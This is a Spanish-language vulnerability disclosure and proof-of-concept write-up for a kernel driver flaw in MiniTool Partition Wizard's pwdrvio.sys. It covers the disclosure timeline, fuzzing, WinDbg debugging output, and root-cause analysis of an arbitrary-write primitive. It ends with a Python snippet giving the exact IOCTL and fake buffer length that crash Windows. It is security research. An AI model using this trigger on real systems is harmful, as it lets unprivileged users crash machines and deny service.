CVE-2026-36980-Kernel-BSOD-DoS-PoC

Fecha del proyecto: feb 2026 / Se descubrió una vulnerabilidad de desbordamiento de búfer en el manejador de IOCTL del controlador de kernel pwdrvio.sys. La vulnerabilidad permite que un atacante local sin privilegios corrompa la memoria del pool del kernel, provocando un bloqueo inmediato del sistema (BSOD) y una denegación de servicio.

• 2026-02-09 Proveedor notificado
• 2026-03-05 Proveedor confirmó
• 2026-03-05 CVE solicitado a MITRE
• 2026-05-10 Divulgación pública después del período de divulgación coordinada de 90 días

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Denegación de servicio (DoS) Gravedad: MEDIA Puntuación CVSS 3.1: 5.5 (DoS)
Cadena de vector CVSS:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Desbordamiento de búfer — Denegación de servicio (CVSS 5.5 - MEDIA)

• Provoca la Pantalla Azul de la Muerte (BSOD)
• Explotación independiente (no requiere depurador)
• Causado por un desbordamiento de búfer mediante IOCTL 0x22000d
• Caída consistente en todas las configuraciones probadas

Requisitos previos del ataque:

• Acceso local al sistema de destino
• Cuenta de usuario estándar (no administrador)
• MiniTool Partition Wizard instalado o desinstalado (controlador pwdrvio.sys cargado)

Resultados de la explotación: DoS - Caída inmediata del sistema, indisponibilidad del servicio

Cronología del descubrimiento de la vulnerabilidad

Fase 1: Fuzzing inicial y descubrimiento del BSOD

Fecha: 5 de febrero de 2026
Actividad: Fuzzing sistemático del controlador de kernel mediante un fuzzer de Python personalizado

Proceso de descubrimiento:

1. Selección del objetivo:

   • Se enumeraron los controladores de kernel instalados en la VM de Windows 10
   • Se identificó pwdrvio.sys como el controlador más antiguo (marca de tiempo: 16 de junio de 2009)
   • Archivo del controlador: C:\Windows\System32\drivers\pwdrvio.sys
   • Objeto de dispositivo: \\.\PartitionWizardDiskAccesser\0

2. Fuzzing inicial:

   • Se desarrolló un fuzzer en Python usando ctypes para interactuar con el controlador
   • Se enviaron datos aleatorios mediante WriteFile/DeviceIoControl al dispositivo del controlador
   • Resultado: Múltiples Pantallas Azules de la Muerte (BSOD)

3. Activación del Verificador:

   • Se habilitó el Verificador de controladores para mejorar la detección de caídas

   verifier /standard /driver pwdrvio.sys
   

   Configuración del Verificador:

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Fase 2: Configuración de depuración de kernel con WinDbg

Fecha: 5-6 de febrero de 2026
Actividad: Se estableció un entorno de depuración de kernel para el análisis de causa raíz

Procedimiento de configuración:

1. Configuración del puerto serie de VMware:

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Configuración del SO invitado:

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Conexión del WinDbg anfitrión:

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Fase 3: Análisis de causa raíz: descubrimiento de escritura arbitraria

Fecha: 6 de febrero de 2026
Actividad: Se identificó una primitiva de escritura arbitraria en el kernel

Pasos del análisis:

1. Análisis del módulo:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Descubrimiento de la instrucción vulnerable:

   Establecer un punto de interrupción en el controlador de escritura:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Hallazgo crítico: ¡Primitiva de escritura arbitraria identificada!

   • La instrucción escribe el puntero del kernel (RAX) en la dirección [R11-0x10]
   • R11 se carga desde el marco de pila: mov r11, qword ptr [rbp+0xB8h]
   • No se realiza ninguna validación sobre la dirección de destino

3. Análisis del estado de los registros:

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

Fase 4: Análisis de UAF a escritura arbitraria

Fecha: 6-7 de febrero de 2026
Actividad: Se rastreó la vulnerabilidad desde User-After-Free hasta una condición de write-what-where

Cadena de corrupción de memoria:

1. Asignación de IRP:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Relación de búferes:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Análisis: El búfer de usuario NO es directamente accesible desde el marco RBP

   • RBP apunta a la estructura IRP en el pool del kernel
   • El búfer de usuario está en una región de memoria diferente
   • El desplazamiento RBP+0xB8 no apunta al búfer controlado por el usuario

3. Condición de Use-After-Free:

   El controlador mantiene punteros colgantes en la estructura IRP:

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Fase 6: Identificación de la denegación de servicio

Fecha: 8 de febrero de 2026
Actividad: Se descubrió una vulnerabilidad de DoS independiente

Descubrimiento:

1. Fuzzing de IOCTL:

   • Se probaron varios códigos IOCTL con búferes malformados
   • Se identificó el IOCTL 0x22000d como vulnerable

2. Mecanismo de caída:

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Comportamiento del controlador:

   • El controlador confía en la longitud del búfer de salida proporcionada por el usuario
   • Intenta escribir 8192 bytes en un búfer de 4 bytes
   • Desbordamiento de búfer → Corrupción del pool → BSOD